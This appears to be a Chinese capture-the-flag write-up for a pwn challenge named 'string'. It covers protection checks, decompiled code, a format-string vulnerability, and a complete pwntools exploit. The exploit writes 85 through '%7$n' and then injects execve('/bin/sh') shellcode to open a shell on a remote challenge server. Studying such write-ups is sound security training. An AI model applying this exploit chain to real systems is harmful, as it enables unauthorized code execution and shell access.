string

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
xfgg@ubuntu:~/Downloads$ checksec string
[*] '/home/xfgg/Downloads/string'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
除了PIE,其他保护全开

ida分析
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
}
return __readfsqword(0x28u) ^ v3;

((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);这句话的意思是:把v1强制转化成一个函数指针,然后调用这个函数。也就是说如果我们shellcode写到这个位置,就能直接调用。shellcode可以通过上面的read函数来写进去。

if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);
puts("I hear it, I hear it....");
}

第二:需要让*a1 == a1[1]。a1是作为参数传进来的,通过回溯,我们发现 a1 就是在 main 函数中 定义的v3,是一个指向堆块的指针。其中v3[0]=68,v3[1]=85。也就是说当v3[0]==v3[1]时就能满足*a1 == a1[1]。利用格式化字符串漏洞可以修改

v4 = (__int64)v3;
*v3 = 68;
v3[1] = 85;
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4, a2);
printf("secret[1] is %x\n", v4 + 4);
puts("do not tell anyone ");
sub_400D72(v4);
puts("The End.....Really?");

printf("secret[0] is %x\n", v4, a2);secret[0] 就是 我们需要的地址。

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
现在 地址有了,利用格式化字符串 将 *a1 == a1[1],成功进入脆弱点,写入shellcode。
这道题有一点需要注意,这是一个64位的程序,在64位下,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是说,若使用”x$”,当1<=x<=6时,指向的应该依次是上述这6个寄存器中保存的数值),而从第7个参数开始,依然会保存在栈中。故若使用”x$”,则从x=7开始,我们就可以指向栈中数据了。

在输入address的时候,输入1234,并在 printf(&format, &format)前下一个断点,查看我们输入的地址在栈中的位置:
(gdb) x/10gx $rsp
0x7fffffffd5e8: 0x00007ffff7a71148 0x00007ffff7dcfa00
0x7fffffffd5f8: 0x00007ffff7dcc2a0 0x0000000000000000
0x7fffffffd608: 0x0000000000000073 0x00007ffff7dcfa00
0x7fffffffd618: 0x00007ffff7a723f2 0x0000000000000000
0x7fffffffd628: 0x00007ffff7dd0560 0x00007fffffffdd20

0x03 攻击

1
格式化字符串漏洞请看另一篇文章。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

#p = process("/home/xfgg/Downloads/string")
p = remote('111.198.29.45',34288)
p.recvuntil('secret[0] is ')
n = p.recvuntil('\n')
print n[:-1]
print int(n[:-1],16)
addrs = int(n[:-1],16)
print "addrs: " + hex(addrs)
p.recvuntil('name be:\n')
p.sendline("susan")
p.recvuntil('or up?:\n')
p.sendline("east")
p.recvuntil('leave(0)?:\n')
p.sendline("1")
p.recvuntil("address'\n")
p.sendline(str(addrs))
p.recvuntil('you wish is:\n')
payload = "%85c" + "%7$n"
p.sendline(payload)
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

p.recvuntil('USE YOU SPELL\n')
p.sendline(shellcode)
p.interactive()
0%